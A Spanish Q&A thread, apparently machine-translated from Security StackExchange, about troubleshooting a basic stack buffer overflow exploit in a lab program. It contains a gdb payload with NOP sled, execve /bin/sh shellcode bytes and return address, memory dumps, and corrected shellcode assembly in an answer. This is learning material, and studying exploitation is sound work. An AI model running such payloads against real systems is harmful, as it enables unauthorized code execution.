No se puede ejecutar shellcode en el ejemplo de desbordamiento de búfer básico

2

Tengo un ejemplo básico de un programa vulnerable al desbordamiento de búfer ( extraído de esta otra pregunta ).

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

Explicaré mi "flujo de pensamiento":

Mi primer enfoque, dado que conozco la longitud del búfer, fue llenarlo completamente con "NOP" (477 bytes) + shellcode (23 bytes) + NOP + Dirección de retorno, siendo la dirección de retorno el principio de mi búfer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

Aquí está la memoria actual:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1) Los últimos 4 bytes son la dirección que se escribirá en EIP, no hay problema con esto.

2) Para que mi Shellcode funcione correctamente, debería comenzar al principio de una PALABRA. En 0xffffd0d8 hay un 0x00 inamovible que no se sobrescribe con el desbordamiento del búfer. Ocurre varias veces en el búfer, y por lo que he leído se debe a un comportamiento de bucle en la memoria.

3) En esta situación, creo que necesito encontrar otro espacio para escribir mi Shellcode, sin que "0x00" lo aplaste.

Parece que hay espacio para el código de shell al principio del búfer (0xffffcefc), así que cambio el búfer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

y me aseguro de que el shellcode esté correctamente escrito en la memoria:

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  push   eax
   0xffffceff:  push   0x68732f2f
   0xffffcf04:  push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  push   eax
   0xffffcf0c:  push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$ 

Pero cuando ejecuto el código, incluso si se ejecutan los comandos de shellcode, se bloquea en el siguiente byte "0x00" en 0xffffcf14, y no se genera ninguna shell.

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$ 

El código se ha compilado mediante:

  

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

y, por supuesto, ASLR está deshabilitado.

Información adicional:

# uname -a 
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

Soy un novato en explotación, pero pensé que esto era un ejercicio simple y me está dando algunos dolores de cabeza ... ¿Alguien puede ayudarme a descubrir la manera correcta de explotar este desbordamiento de búfer?

    
pregunta Jausk 29.07.2017 - 11:00
fuente

2 respuestas

1

Veo dos problemas, además del problema de byte nulo que no puedo reproducir (en una máquina virtual Ubuntu 18.04).

  1. La instrucción add al,al al inicio debe ser xor eax,eax . Lo extraño es que los bytes \ x31 \ xc0 que están al comienzo de tu shellcode en realidad son la instrucción xor eax,eax . Si el \ x31 se reemplaza con \ x00 de alguna manera, como mencionaste que está sucediendo en otro lugar, eso lo convertiría en una instrucción adicional.

  2. No está configurando el tercer argumento para la llamada al sistema execve . Esto se puede hacer configurando el registro edx a esp justo después de colocar 0x00000000 en la pila.

    xor    eax, eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    push   eax
    mov    edx,esp     ;set  the envp argument
    push   ebx
    mov    ecx,esp
    mov    al,0xb
    int    0x80
    

En cuanto al problema de bytes nulos, eso es muy extraño porque suena como que hay bytes nulos en el búfer real después de que se escriba en strcpy, lo que no debería estar ocurriendo. Establecería un punto de interrupción inmediatamente después de la llamada a strcpy en el ensamblaje e inspeccionaría la memoria intermedia. Tal vez ya haya hecho esto, pero use el depurador y asegúrese de que los bytes nulos no se están arrastrando de alguna manera después de que se realice la copia.

    
respondido por el Alex Schimp 05.06.2018 - 06:46
fuente
0

Tengo un problema con tu Shellcode:

UNA VEZ QUE ARREGLAN LO ANTERIOR

Si soluciona esos problemas y aún experimenta esto, entonces de su descripción se bloquea en un byte nulo (que es lo que strcpy (3) está esperando), ¡así que suena como un caso de un mal personaje!

Intentaría probar los malos caracteres. Peter Van Eeckhoutte tiene un excelente informe que ya cubre esto, pero si eres como yo y flojo, reemplaza el byte nulo (0x00) con la ruptura en el byte del depurador (0xCC).

Una vez que se rompe, si todas las instrucciones anteriores se ejecutaron como se esperaba para su shellcode, podría agregar otro nop (0x90) o reemplazar el byte nulo con un RETN

Si eso causa un problema, ya que la interrupción (Int 0x80) es de un solo byte, también puede reemplazarlo y el byte nulo al final con 0xEBFE para que se abra un bucle sin fin de JMP -2.

    
respondido por el grepNstepN 06.10.2017 - 20:28
fuente

Lea otras preguntas en las etiquetas